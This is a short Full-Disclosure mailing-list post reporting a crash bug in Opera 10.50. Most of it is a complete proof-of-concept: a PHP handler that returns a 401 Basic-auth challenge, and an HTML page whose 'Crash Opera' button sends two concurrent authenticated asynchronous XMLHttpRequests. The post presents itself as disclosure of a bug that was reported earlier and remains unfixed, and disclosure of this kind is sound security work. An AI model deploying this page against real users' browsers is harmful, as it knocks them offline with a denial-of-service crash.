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[Full-disclosure] Opera 10.50 Asynchronous XMLHttpRequest Basic Auth Crash

First found it in one of the version 9 opera's and reported it, still works in 
10.50.

<?php
if (isset($_GET['crash']))
{
    header('HTTP/1.0 401 Unauthorized');
    header('WWW-Authenticate: Basic realm="crash"');
    exit();
}
?>
<!DOCTYPE html>
<html>
    <head>
        <title>Crash Opera</title>
        <script>
            function doit() {
                a = new XMLHttpRequest()
                a.open("GET", "?crash", true, "crash", "crash");
                a.send(null);
            }
            function crash() {
                doit();
                doit();
            }
        </script>
    </head>
    <body>
        <input type="submit" onclick="crash()" value="Crash Opera">
    </body>
</html>                                           
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